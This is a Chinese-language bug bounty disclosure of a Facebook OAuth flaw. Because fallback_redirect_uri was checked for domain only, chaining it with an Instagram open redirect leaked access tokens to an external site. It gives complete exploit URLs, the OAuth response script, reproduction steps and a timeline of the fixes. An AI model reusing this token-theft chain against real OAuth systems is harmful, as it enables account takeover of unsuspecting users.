目录导航
由于缺少在Facebook OAuth流端点中指定的fallback_redirect_uri参数中的URL路径检查,此错误可能允许恶意用户接管Facebook或Instagram帐户。
细节
在域名 m.facebook.com中, 处理Facebook OAuth流的终结点https://m.facebook.com/dialog/oauth在请求通过postMessage返回方法获取access_token/code的请求时具有预格式化的响应。打开窗口(通过xd_arbiter)。响应中的脚本将尝试向指定的目标原点发出postMessage,并在redirect_uri中进行检查,如下所述:
让我们以OAuth流程为示例来授权Instagram应用程序。访问的网址可能是这样的
https://m.facebook.com/v3.3/dialog/oauth?app_id=124024574287414
&redirect_uri=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=46%23origin=https://www.instagram.com/%26relation=opener
&response_type=token,signed_request
&scope=public_profile,email
这里有趣的部分是redirect_uri参数。无需为此应用程序选择列入白名单的redirect_uri,而是选择臭名昭著的xd_arbiter端点,该端点将允许我们通过javascript方法跨窗口通信(postMessage方法)接收Facebook code/access_token。在这里,staticxx.facebook.com url的片段部分中的origin参数必须包含Facebook应用程序列入白名单的网站,否则请求将失败。相同的来源将在响应中用作postMessage方法的targetOrigin。
尽管由于我先前指出的原因,用户无法通过Eventlistener获取access_token(无法操纵postMessage targetOrigin),但我发现还有另一种方法来获取access_token/code ,以防postMessage方法失败:

我们修改了以前的URL是这样的:
https://m.facebook.com/v3.3/dialog/oauth?app_id=124024574287414
&redirect_uri=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=46%23origin=https://www.instagram.com/%26relation=opener
&response_type=token,signed_request
&scope=public_profile,email
&fallback_redirect_uri=https://www.instagram.com/
我们将得到与此类似的响应:
var closeURI = "https:\/\/m.facebook.com\/dialog\/close_window\/?app_id=124024574287414&connect=1&redirect_domain=www.instagram.com";
var fallbackRedirectURI = "https:\/\/www.instagram.com\/#SIGNED_REQUEST&access_token=ACCESS_TOKEN";
var message = "origin=https\u00253A\u00252F\u00252Fwww.instagram.com\u00252F&relation=opener&signed_request=SIGNED_REQUEST&access_token=ACCESS_TOKEN&data_access_expiration_time=0&expires_in=0",
origin = "https:\/\/www.instagram.com",
domain = "www.instagram.com",
relation = "opener",
debugXD = false,
xrw = "";
(function() {
var a = window.opener || window.parent,
b = navigator.userAgent,
c = !0;
function d(a, b) {
a = window.location.hostname.match(/\.(facebook\.sg|facebookcorewwwi\.(?:test)?onion)$/);
a = a ? a[1] : "facebook.com";
new Image().src = "https://m." + a + "/common/scribe_endpoint.php?c=jssdk_error&m=" + encodeURIComponent(JSON.stringify(b))
}
function e() {
var b = a === window;
try {
a != null && a !== window && (a === window.opener && relation === "opener.parent" && (a = window.opener.parent), a.postMessage(message, origin), window.close(), window.open("", "_self", ""), window.close()), window.closed || (fallbackRedirectURI ? window.location.replace(fallbackRedirectURI) : closeURI ? window.location.replace(closeURI) : d("jssdk_error", {
error: "DIALOG_CLOSE",
extra: {
message: "Dialog did not close. refWasSelf: " + b
}
}))
} catch (a) {
c ? (c = !1, window.setTimeout(e, 200)) : d("jssdk_error", {
error: "POST_MESSAGE",
extra: {
message: a.message + ", html/js/mobile/connect/XDDialogResponsePurePostMessage.js:43 refWasSelf: " + b
}
})
}
}
function f() {
__fbNative.postMessage(message, origin)
}
if (window == top && /FBAN\/\w+;/i.test(b) && !/FBAN\/mLite;/.test(b)) window.__fbNative && __fbNative.postMessage ? f() : window.addEventListener("fbNativeReady", f);
else {
f = /iPhone.*Version\/(5|6)/.test(b) ? RegExp.$1 === "5" ? 250 : 800 : 0;
f ? window.setTimeout(function() {
e()
}, f) : e()
}
})();
如果fallback_redirect_url中的URL域与应用程序列入白名单的网站相同,并且满足其他条件,则同一脚本将重定向到名为fallback_redirect_uri的参数中的选定URL 。只有在未找到打开器窗口的情况下才会发生这种情况,因为window.close将不起作用,并且window.closed将为false,在这种情况下,将执行window.location.replace(fallbackRedirectURI)并将重定向到所选的URL在fallback_redirect_uri中,并将Facebook access_token/coed 嵌入URL的片段部分。
现在的实际错误是fallback_redirect_uri只会接受在Facebook应用程序配置中设置的白名单网站,但是未对URL的路径部分进行检查,就像通常对OAuth流中redirect_uri参数中提供的url所做的检查一样(仅检查了域部分)。攻击者可以选择任何路径来接收令牌。我们可以将其与接收网站中的另一个错误链接在一起,例如开放重定向,以将令牌泄漏到攻击者网站(由于URL的片段部分是由浏览器在重定向中携带的,因此恶意网站会接收到它)。
我已经通过链接此bug和先前在Instagram中报告的打开重定向实现了Facebook / Instagram帐户的接管。
繁殖步骤
受害者应访问此URL或重定向到该URL的攻击者网站:
https://m.facebook.com/v3.3/dialog/oauth?app_id=124024574287414&redirect_uri=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=46%23origin=https://www.instagram.com/%26relation=opener&response_type=token,signed_request&scope=public_profile,email&fallback_redirect_uri=https://www.instagram.com/accounts/convert_to_professional_account/?redirect_uri=https://ysamm.com
这会重定向到:
https://www.instagram.com/accounts/convert_to_professional_account/?redirect_uri=https://ysamm.com#access_token&signed_request
由于其中包含一个开放的重定向,它将重定向到
https://ysamm.com#access_token&signed_request
access_token是为Instagram应用程序生成的第一方令牌,可用于接管Facebook帐户。signed_request包含可用于访问受害者的Instagram帐户的代码。
时间轴
2021年2月7日-报告发送
至2021年2月8日-Facebook确认
2021年2月18日-Facebook修复漏洞
2021年2月26日-Facebook授予的3万美元(包括奖金)赏金。
2021年2月26日-绕过了警报,尽管移动设备已修复,但该漏洞仍然存在。
2021年3月5日-Facebook确认。
2021年3月17日-Facebook修复。
2021年3月22日-Facebook授予的12,000美元(包括奖金)赏金。